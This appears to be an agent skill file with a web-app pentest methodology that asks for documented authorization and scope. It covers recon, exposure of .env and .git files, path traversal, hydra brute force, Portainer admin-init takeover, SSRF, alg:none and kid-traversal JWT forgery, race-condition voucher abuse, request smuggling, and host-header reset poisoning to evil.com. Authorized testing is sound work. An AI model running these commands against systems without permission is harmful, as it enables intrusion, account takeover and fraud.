| name | web-app-pentest |
| description | Use when performing authorized security testing, red teaming, or vulnerability assessment of web applications — especially stacks with PHP/Python/Node behind CDN/WAF, multi-subdomain targets, or modern SaaS-style infra (Supabase, n8n, Portainer, Mautic). |
Web App Pentest Methodology
Overview
Structured approach for authorized web app pentests. Follows recon → fingerprint → information disclosure → CVE research → auth testing → active exploitation → report. Designed for targets behind WAF/CDN with mixed legacy/modern stack.
Pre-requisito obrigatório: Autorização documentada no relatório antes de qualquer ação.
Non-Objectives
- Production disruption
- Testing outside documented scope
- Expanding scope through discovered trust relationships without approval
- Collecting data beyond what is necessary for evidence
- Continuing if service health degrades
Severity Model
Classify each finding on two axes — don't collapse them into one emoji.
Technical Status (pick one):
- Exposed — file/endpoint is public, no exploitation required
- Vulnerable — version/config matches known issue, but not confirmed reachable
- Reachable — attacker can interact with the vulnerable component
- Exploitable — impact confirmed in this specific configuration
- Business-impacting — demonstrated effect on data, money, or access
Business Severity: Critical / High / Medium / Low / Informational
Example: CVE-2024-38475 on Apache 2.4.54 = Vulnerable, High (not Exploitable — blocked by current config).
.env public = Exploitable, Critical (no chaining needed).
Evidence Collection Protocol
Capture before proceeding. If you find something and don't save it, you may lose it.
EVIDENCE_DIR=~/pentests/reports/$(date +%Y%m%d)-target
mkdir -p $EVIDENCE_DIR
curl -sk https://$TARGET/.env | tee $EVIDENCE_DIR/env-$(date +%s).txt
curl -sk https://$TARGET/vendor/composer/installed.json | tee $EVIDENCE_DIR/composer-$(date +%s).json
bash exploit.sh 2>&1 | tee $EVIDENCE_DIR/exploit-$(date +%Y%m%d-%H%M%S).log
Rule: find → save → proceed. Never test further on a finding you haven't saved.
Each material finding must include:
- timestamp + target asset
- role/user context used during testing
- expected behavior vs observed behavior
- request + response summary (full curl command + response)
- technical status (Exposed / Vulnerable / Reachable / Exploitable / Business-impacting)
- business impact statement (what can an attacker actually do?)
Phase 1 — Recon & Subdomain Enumeration
subfinder -d target.com | tee ~/pentests/targets/target-subdomains.txt
httpx -l ~/pentests/targets/target-subdomains.txt -title -tech-detect -status-code -o targets/target-httpx.txt
host portainer.target.com
nmap -F -sV 167.99.10.159
nuclei -l targets/target-subdomains.txt -t takeovers/
Quick wins in this phase:
- Subdomains that leak origin IP (portainer, mail, api)
- Stack headers:
Server:, X-Powered-By:, X-Generator:
robots.txt → exposes directory structure
- Subdomains with dead CNAME targets → takeover candidates
Phase 2 — Information Disclosure (Always Before Active Scanning)
Check these before running any scanner. Low noise, high yield.
TARGET="target.com"
curl -sk https://$TARGET/.env
curl -sk https://$TARGET/.env.local
curl -sk https://$TARGET/.env.backup
curl -sk https://$TARGET/vendor/composer/installed.json | jq '.packages[] | {name,version}'
curl -sk https://$TARGET/package.json
curl -sk https://$TARGET/package-lock.json
curl -sk https://$TARGET/requirements.txt
curl -sk https://$TARGET/pyproject.toml
curl -sk https://$TARGET/Pipfile
curl -sk https://$TARGET/.git/config
curl -sk https://$TARGET/.git/HEAD
BUNDLE=$(curl -sk https://$TARGET | grep -o 'assets/index-[^"]*\.js' | head -1)
curl -sk -o /dev/null -w "%{http_code}" "https://$TARGET/${BUNDLE}.map"
curl -sk https://$TARGET/app/config/parameters.yml
curl -sk https://$TARGET/var/logs/prod.log
curl -sk -o /dev/null -w "%{http_code}" https://$TARGET/adminer.php
curl -sk -o /dev/null -w "%{http_code}" https://$TARGET/phpmyadmin/
curl -sk https://$TARGET/rest/settings
curl -sk https://$TARGET/api/status
curl -sk https://$TARGET/rest/v1/
Scoring: HTTP 200 on any of these = Critical or High finding before any exploitation.
Phase 3 — Stack Fingerprinting & CVE Research
curl -sk "https://mautic.target.com/..%2f..%2fetc%2fpasswd"
Key principle: EPSS score ≠ exploitable in this specific config. Always verify manually. Report as "vulnerable but not exploitable in current config" if blocked.
Phase 4 — Authentication Testing
STACKS=(
"Mautic: admin/mautic, admin/admin"
"Portainer: admin/portainer, admin/admin"
"n8n: admin@domain.com/password"
"Supabase/Grafana: admin/admin"
)
hydra -l admin -P wordlist.txt target.com http-post-form "/login:user=^USER^&pass=^PASS^:Invalid" -t 2 -w 3
curl -sk -X POST https://portainer.target.com/api/users/admin/init \
-H "Content-Type: application/json" \
-d '{"Username":"attacker","Password":"Attack123!"}'
Phase 5 — Active Exploitation
Test vectors surgically — one at a time, low rate. Write a target-specific script.
curl -s -X POST https://target.com/webhook/api \
-d '{"url":"http://169.254.169.254/metadata/v1/"}'
PAYLOADS=('{{7*7}}' '${7*7}' "' OR 1=1--" '$(id)' '; id')
GET /rest/v1/short_links
curl -sk -H "Origin: https://evil.com" https://api.target.com/v1/user -I | grep -i "access-control"
python3 -c "
import base64, json
h = base64.urlsafe_b64encode(json.dumps({'alg':'none','typ':'JWT'}).encode()).rstrip(b'=').decode()
p = '<base64-payload>' # keep original payload, change claims if needed
print(f'{h}.{p}.') # no signature
"
curl -H "X-Original-URL: /admin" https://target.com/
curl -H "X-Forwarded-For: 127.0.0.1" https://target.com/restricted
curl "https://target.com/download?file=../../etc/passwd"
curl "https://target.com/webhook/x/../../rest/settings"
Constraint: Never parallelize tools against weak/resource-limited servers. Serialize all requests. A DoS on your own target = lost evidence.
Phase 6 — WAF/CDN Considerations
| Behavior | Meaning |
|---|
| HTTP 524 | Origin timeout (server too weak, not WAF blocking) |
| ffuf blocked ~700 reqs | Cloudflare rate limiting — use --rate flag |
| nuclei DoS | Use -rate-limit 1 on weak targets |
| All ports filtered | Firewall, not Cloudflare — try direct origin IP |
| Port 443 only | Common for shared hosting behind CDN |
ffuf -u https://target.com/FUZZ -w wordlist.txt -rate 10 -t 1
nuclei -u https://target.com -tags cve -rate-limit 1
High-Value Scenario Classes
Organize active testing around these classes. Each already has business impact built in — don't discover the technique first and invent the impact later.
A. Role / Tenant Boundary Drift
Not just "is this endpoint open?" — but:
- What changes between user A and user B on the same endpoint?
- What does the UI hide that the API still accepts?
- Does 404 vs 403 leak object existence across tenants?
Tools: curl multi-token scripts, Burp Autorize extension, ffuf with -H token swap
curl -sk -H "Authorization: Bearer $TOKEN_A" https://api.target.com/v1/projects | jq > /tmp/a.json
curl -sk -H "Authorization: Bearer $TOKEN_B" https://api.target.com/v1/projects | jq > /tmp/b.json
diff /tmp/a.json /tmp/b.json
for ID in $(seq 1 100); do
CODE=$(curl -sk -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer $TOKEN_LOW" \
"https://api.target.com/v1/documents/$ID")
[ "$CODE" = "200" ] && echo "[IDOR] /documents/$ID"
done
curl -sk -H "X-Org-ID: TENANT_B" https://api.target.com/v1/data \
-H "Authorization: Bearer $TOKEN_TENANT_A"
B. Workflow State Abuse
Map the intended flow first, then probe each gate:
Tools: Burp Repeater, curl, browser DevTools (capture step N token, replay without step N-1)
curl -sk -X POST https://api.target.com/v1/voucher/redeem \
-H "Authorization: Bearer $TOKEN" \
-d '{"code":"GIFT50"}'
curl -sk -X PATCH https://api.target.com/v1/orders/123 \
-d '{"status":"shipped"}' -H "Authorization: Bearer $TOKEN_CUSTOMER"
C. Client / Backend Trust Gaps
Tools: Browser DevTools Network tab, source-map-explorer, strings/rg on bundle, Burp to intercept and augment requests
BUNDLE_URL=$(curl -sk https://app.target.com | grep -o 'assets/index-[^"]*\.js' | head -1)
curl -sk "https://app.target.com/$BUNDLE_URL" | \
grep -oE '"(/[a-z0-9/_:-]+)"' | sort -u | head -60
curl -sk "https://app.target.com/$BUNDLE_URL" | \
grep -oE '(beta|admin|internal|debug|hidden|feature)[_A-Za-z]*:\s*(true|false|"[^"]*")' | sort -u
curl -sk "https://app.target.com/${BUNDLE_URL}.map" | \
python3 -c "import sys,json; d=json.load(sys.stdin); [print(s) for s in d.get('sources',[])]"
D. Async / Background Processing Gaps
Most overlooked class. The gap between "accepted" and "executed" is where auth often isn't re-checked.
Tools: GNU parallel, Python asyncio, Burp Turbo Intruder (last-byte sync for true races)
for i in 1 2; do
curl -sk -X POST https://api.target.com/redeem \
-H "Authorization: Bearer $TOKEN" \
-d '{"code":"VOUCHER123"}' &
done
wait
python3 - <<'EOF'
import asyncio, aiohttp
async def redeem(session):
async with session.post('https://api.target.com/redeem',
json={"code":"VOUCHER123"},
headers={"Authorization": f"Bearer TOKEN"}) as r:
print(r.status, await r.text())
async def main():
async with aiohttp.ClientSession() as s:
await asyncio.gather(*[redeem(s) for _ in range(10)])
asyncio.run(main())
EOF
E. Export / Storage / Delegated Access
Tools: curl, aws cli / gcloud cli (for signed URL scope), browser DevTools for URL extraction
curl -sk "https://api.target.com/v1/exports/JOB_ID_OTHER_USER/download" \
-H "Authorization: Bearer $TOKEN"
SIGNED_URL="https://storage.googleapis.com/bucket/file.pdf?X-Goog-Signature=..."
curl -sk "$SIGNED_URL" -o /tmp/test.pdf
curl -sk "https://api.target.com/v1/docs/OTHER_ID/preview"
curl -sk "https://api.target.com/v1/docs/OTHER_ID/download"
F. Identity Propagation / Federation Edge Cases
Tools: jwt_tool (python3 jwt_tool.py), hashcat (-m 16500 for HS256), saml-raider (Burp plugin)
python3 -c "
import base64, json, sys
token = 'eyJ...'
parts = token.split('.')
for p in parts[:2]:
pad = p + '=' * (4 - len(p) % 4)
print(json.dumps(json.loads(base64.urlsafe_b64decode(pad)), indent=2))
"
python3 -c "
import base64, json
h = base64.urlsafe_b64encode(json.dumps({'alg':'none','typ':'JWT'}).encode()).rstrip(b'=').decode()
payload = 'ORIGINAL_PAYLOAD_PART' # keep as-is or modify claims
print(f'{h}.{payload}.')
"
hashcat -a 0 -m 16500 'eyJ...token...' /usr/share/wordlists/rockyou.txt
curl -sk -H "Authorization: Bearer $OLD_TOKEN" https://api.target.com/v1/me
G. Hidden Surface Discovery
Treat as directed artifact analysis — extract candidate paths from real evidence, then probe.
Tools: LinkFinder (python3 linkfinder.py), rg on bundle, ffuf with wordlist built from found paths, gau (GetAllURLs)
curl -sk "https://app.target.com/$BUNDLE" | \
grep -oE '["'"'"'](/[a-zA-Z0-9/_:.-]{3,})['"'"'"]' | tr -d '"'"'" | sort -u > /tmp/paths.txt
python3 linkfinder.py -i "https://app.target.com/$BUNDLE" -o cli | sort -u > /tmp/paths.txt
gau target.com | grep -vE '\.(jpg|png|css|ico)' | sort -u > /tmp/gau-paths.txt
ffuf -u https://target.com/FUZZ -w /tmp/paths.txt -mc 200,301,302,401,403 -rate 5
for V in v1 v2 v3 api internal mobile admin; do
CODE=$(curl -sk -o /dev/null -w "%{http_code}" "https://api.target.com/$V/")
[ "$CODE" != "404" ] && echo "[$CODE] /api/$V/"
done
for PATH in /_debug /internal /support /admin /status /health /metrics /actuator /graphql /api-docs /swagger /openapi.json; do
CODE=$(curl -sk -o /dev/null -w "%{http_code}" "https://target.com$PATH")
[ "$CODE" != "404" ] && echo "[$CODE] $PATH"
done
H. Cache Key Isolation Flaws
Core: What affects the response but not the cache key is the attack surface.
Two sub-attacks:
- Cache poisoning: inject content that gets cached and served to others
- Cache deception: trick cache into storing a private response, then retrieve it
Tools: Param Miner (Burp extension), manual header probing, curl
curl -sk -H "X-Forwarded-Host: evil.com" https://target.com/ | grep "evil.com"
curl -sk -I https://target.com/static-page | grep -i "cache\|age\|x-cache\|cf-cache"
curl -sk "https://target.com/?utm_source=evil%0d%0aSet-Cookie:session=hijacked" -I
curl -sk "https://target.com/account/profile/test.css"
curl -sk -H "X-Tenant-ID: VICTIM_TENANT" -H "X-Forwarded-Host: evil.com" \
https://target.com/shared-resource
I. Canonicalization / Normalization Mismatch
Core: Two layers normalize the same input differently — one blocks, the other processes.
Common gaps: edge vs origin, WAF vs app, auth middleware vs route handler.
Tools: curl with encoded payloads, ffuf with encoding wordlists, manual
for PATH in \
'/admin' \
'/%61dmin' \
'/./admin' \
'/../admin' \
'/admin.' \
'/ADMIN' \
'/admin%20' \
'/admin;.css' \
'/admin%09' \
'//admin' \
'/admin%2f' \
'/api/%2e%2e/admin'; do
CODE=$(curl -sk -o /dev/null -w "%{http_code}" "https://target.com$PATH")
[ "$CODE" = "200" ] && echo "[200] $PATH"
done
curl -sk "https://target.com/files/..%252f..%252fetc%252fpasswd"
curl -sk "https://target.com/admin%00.jpg"
J. Parser Differential / Routing Ambiguity
Core: Two components in the request pipeline parse the same bytes differently and reach different conclusions about what the request is.
Most impactful forms: HTTP request smuggling (proxy/app disagree on body length), host header injection (routing decisions based on untrusted Host).
Tools: HTTP Request Smuggler (Burp extension), h2smuggler, curl with --http1.1
curl -sk -H "Host: evil.com" https://target.com/forgot-password \
-d "email=victim@target.com"
curl -sk -H "X-Forwarded-Host: evil.com" https://target.com/forgot-password \
-d "email=victim@target.com"
curl -sk --http1.1 -X POST https://target.com/ \
-H "Transfer-Encoding: chunked" \
-H "Content-Length: 6" \
-d "0\r\n\r\nG"
curl -sk "https://target.com/api/../admin"
curl -sk "https://target.com/api/..%2fadmin"
K. Trust Boundary Drift
Core: Component B assumes Component A already validated X. Find the seam where the assumption is wrong.
Map the request path first: CDN → WAF → Gateway → App → Backend → DB
For each hop, ask: what does this layer assume the previous layer guaranteed?
Tools: curl with forged headers, Burp to inject at different layers
curl -sk -H "X-Internal-User: admin" https://api.target.com/v1/admin/users
curl -sk -H "X-Authenticated: true" https://api.target.com/v1/protected
curl -sk -H "X-User-ID: 1" https://api.target.com/v1/profile
curl -sk -H "X-Forwarded-For: 10.0.0.1" https://api.target.com/v1/internal
curl -sk -H "Host: api.target.com" http://167.99.10.159/v1/admin/users
curl -sk -X POST https://target.com/webhooks/stripe \
-H "Content-Type: application/json" \
-d '{"type":"charge.succeeded","data":{"object":{"amount":0}}}'
python3 -c "
import jwt, hashlib
# Sign with content of /dev/null as key (if kid=../../dev/null accepted)
token = jwt.encode({'sub':'admin'}, '', algorithm='HS256',
headers={'kid':'../../dev/null'})
print(token)
"
Phase 6b — Business Logic Assessment
Often the highest-impact findings. No scanner catches these — requires understanding the app's intended workflows.
Focus areas:
- Invalid state transitions (e.g. skip payment step, go directly to checkout complete)
- Actions performed out of order (e.g. confirm before approve)
- Approval bypass via workflow inconsistency
- Replay of sensitive actions (e.g. resubmit a paid transaction)
- Duplicate submissions with impact (credits, payments, votes)
- Privilege drift over time (role downgrade doesn't revoke active sessions)
- Export/download logic abuse (download other users' exports by ID)
- Recovery/onboarding flow abuse (reset password for accounts you don't own)
Principle: A technically "minor" issue may be business-critical if it affects money movement, approval state, data visibility, or entitlements. Always frame in business terms.
Phase 7 — Report Structure
# Pentest Report — target.com
**Date:** YYYY-MM-DD
**Tester:** name
**Authorization:** [Owner/written auth/scope]
**Status:** ENCERRADO / EM ANDAMENTO
## Target Summary
## Stack Confirmed
## Real IP Found (if Cloudflare bypass)
## Findings
### 🔴 CRITICAL — [Title]
### 🟡 HIGH/MEDIUM — [Title]
### 🟢 LOW/INFO — [Title]
## What Was Tried
| Tool | Target | Result |
## What Won't Work
- [Vector] — [why blocked/mitigated]
## Remaining Attack Surface
- [ ] [Untested vector]
## Risk Summary
| Finding | Severity | Status |
## Recommendations
| Priority | Action | Effort |
Severity + compliance flags:
- 🔴 CRITICAL = Exploitable or Business-impacting, no chaining required
- 🟡 HIGH = Reachable or Exploitable with chaining / requires auth
- 🟡 MEDIUM = Vulnerable + reachable but low probability / requires privilege
- 🟢 LOW/INFO = Exposed but non-actionable, or defense-in-depth gap
- Note LGPD/GDPR violations when personal data (CPF, judiciary records) is accessible without auth
Risk Summary table format:
| Finding | Technical Status | Business Severity | Status |
|---|
Checklist Rápido
[ ] Authorization documented
[ ] Evidence dir created: ~/pentests/reports/YYYYMMDD-target/
[ ] subfinder + httpx (subdomain map)
[ ] Origin IP (Cloudflare bypass via non-proxied subdomain)
[ ] Subdomain takeover check (nuclei takeovers / subjack)
[ ] Exposed files: .env, /vendor/, .git/, config files
[ ] Dependency files: composer/installed.json, package.json, requirements.txt
[ ] Source map leak check (bundle.js.map)
[ ] Stack versions → CVE lookup (NVD + EPSS)
[ ] Default credentials per stack
[ ] User enumeration (response diff, forgot-password)
[ ] Unauthenticated API endpoints
[ ] CORS misconfiguration (Origin: https://evil.com)
[ ] IDOR (horizontal privilege escalation)
[ ] JWT attacks (alg:none, weak key) if token available
[ ] Injection probes (SSTI, SQLi, CMDi) on user inputs
[ ] SSRF on URL/callback parameters
[ ] 403 bypass techniques
[ ] Path traversal on file/webhook params
[ ] Report: findings table + "what won't work" + remediation with effort
Tools Reference
| Tool | Purpose |
|---|
| subfinder | Subdomain enumeration |
| httpx | HTTP fingerprinting, tech detection |
| nmap / masscan | Port scanning (use -F first, not -p-) |
| nuclei | CVE scanning (use -rate-limit on weak targets) |
| ffuf | Directory/file fuzzing (use --rate against WAF) |
| hydra | Brute force (serialize, rate limit) |
| trufflehog / gitleaks | Secret scanning in git repos |
| curl | Manual probing (most reliable, no fingerprint) |
| sqlmap | SQL injection (use --level 1 first) |
Stack-Specific Quick Checks
| Stack | Check |
|---|
| Mautic | /.env, /vendor/composer/installed.json, default admin/mautic |
| n8n | /rest/settings (always open), user enum via 401 vs 404, forgot-password confirms users |
| Portainer | /api/status (version), /api/users/admin/init (first-run bypass) |
| Supabase | anon key in JS bundle (expected), /rest/v1/ schema (disable for anon), RLS per table |
| Apache | Check version → CVE-2024-38475/38473/38476 if < 2.4.62 |
| PHP 7.x | EOL — note in report, check composer for vulns |